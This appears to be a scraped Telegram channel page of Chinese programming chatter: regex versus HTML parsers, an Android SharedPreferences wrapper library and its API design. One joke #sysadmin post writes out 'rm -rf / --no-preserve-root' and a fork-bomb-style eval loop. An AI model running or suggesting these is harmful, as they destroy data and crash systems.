duangsuse::Echo
717 subscribers
4.26K photos
130 videos
583 files
6.47K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): https://WOJS.org/#/
Download Telegram
IDEA 自动生成代码,爽到。 😆
完成一些很无聊的结构体超有成就感(跑
This media is not supported in your browser
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from 羽毛的小白板
我 tm 想骂人了。昨天好心劝一个人不要用正则匹配 HTML,而他就是不相信,今天非得给自己加大难度硬来

#野群萌新
🤪
不是一个人(这个真的是极品!)。不是一个人,实际上很多工程师都这么做... 讲道理,我觉得他们应该去学学 parser combinator style parsers...

再说,就是 Java 也提供了 XML 解析库啊(Simple Api for Xml)... HTML 的也不难找,至于写爬虫什么的也可以说是必须品,除了一些情况有些人会利用 regex 之外,正规的做法是 dom parser + XPath / CSS Selector. 基本都是这样的,Ruby 的话,创建 HTML 可以用 Builder,解析可以用 Nokogiri.
This media is not supported in your browser
VIEW IN TELEGRAM
我思量着他们写出那么多看起来高大上的代码为什么会不会写解析器.... 很困难么?

大概是应用层的东西做多了,我看到 ++nInteger.MAX_VALUE 这种代码和一些 Provider 模式都开始觉得高大上...
看看复杂的控制结构,结果发现其实是不良实践... 我觉得我就是想分析得太深了,不需要测试数据就根据程序乱猜?
https://github.com/by-syk/SP

🤔 现在想起来,其实如果能进行快速的工程的话,就可以写出很多这种封装库。
可惜只有下周了,这周还有 BinaryStreamIO 和 SimpleCat

SharedPreferences sharedPreferences = context.getSharedPreferences(context
.getPackageName(), Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putString("user", "By_syk");
editor.apply();

这是 Android 的 SharePreference 裸 API

SP sp = new SP(context);

// Create and Update
sp.save("user", "By_syk");
sp.put("num", 5)
.put("valid", true)
.save();

// Read
String user = sp.getString("user");

// Delete
sp.delete("user");
sp.remove("num")
.remove("valid")
.save();


如果使用 SharedPreferenceProxy,你可以在 Android 上用面向接口编程,节省自己的时间:

@AndroidPreference(private = true, name = USE_PACKAGE_NAME, naming = NamingStrategy.SNACK_CASED)
interface ApplicationPreference {
String getUser();
void setUser(String value);
PreferenceTransactionBuilder user(String newValue);
}

然后

PreferenceProxy cfg = new PreferenceProxy(ApplicationPreference.class);

接着就可以:

// Create (map like)
cfg.put("name", "value object");
cfg
.make("name1", "value1")
.commit();
cfg
.update("name1", "value2")
.commit();
// Update
cfg.setUser("duangsuse");
// Read
cfg.getUser(); //=> "duangsuse"
cfg.get("user"); //=> "duangsuse"
// Delete
cfg.delete("user");
cfg
.purge("user")
.commit();
duangsuse::Echo
https://github.com/by-syk/SP 🤔 现在想起来,其实如果能进行快速的工程的话,就可以写出很多这种封装库。 可惜只有下周了,这周还有 BinaryStreamIO 和 SimpleCat SharedPreferences sharedPreferences = context.getSharedPreferences(context .getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor…
总的来说,PreferencePrxoy 要有以下方法(类似,因为要有特殊类型的重载):

== Read

PreferencePrxoy#get(String):Any
PreferencePrxoy#contains(String):Boolean

== Create

PreferenceTransactionBuilder#make(String, Any):PreferenceTransactionBuilder
PreferenceTransactionBuilder#ensure(String, Any):PreferenceTransactionBuilder

== Update

PreferenceProxy#set(String, Any):Unit
PreferenceTransactionBuilder#update(String, Any):PreferenceTransactionBuilder
PreferenceProxy#put(String, Any):PreferenceProxy

== Delete

PreferenceTransactionBuilder#purge(String):Unit
PreferenceProxy#delete(String):Any
PreferenceProxy#remove(String):PreferenceProxy
PreferenceProxy#destroy():Unit


最后,它要识别 interface 里的 Getter、Setter、Transaction interface,并且检查附属的 annotation(对于整个 Preference,要指定名称和可见性以及属性命名方式,对于字段可能要指定自己的属性名、存储方式)

不打算提供其他的函数式接口,存储方式可能是 Java serializable ObjectOutputStream + Base64 或者 JSON

为了使得库接口更加可移植,使用的 Preference 必须只是一个接口(能完成提供 API 的),实际实现使用 Delegate,这样可以兼容更多的底层存储系统
可惜这周只能写这点东西 🤔 写完也好,算是 good ending( 起码学了 Maven 怎么用、Java 的 Input Stream 们、InputStreamReader、DataInputStream 的抽象,以后写二进制流式读写和 parser combinator 不用愁
#sysadmin 🌚 👍 rm -rf / --no-preserve-root

while [ 1 ]; do eval "${0:-}"&; done
Forwarded from Rachel 碎碎念 (Rachel Miracle.)
Forwarded from 芝士和培根
http://gityuan.com 是 Gityuan 的博客,他/她的最大亮点就是其 AOSP 系统博客,写得很详细,充满干货(雾),感兴趣的朋友可以看看。 #计算机 #Android
#Android #backend #Sysadmin #crash #Java 🤔 绝望,这是 Dex 类文件找不到了么?
Forwarded from Rachel 碎碎念 (Rachel Miracle.)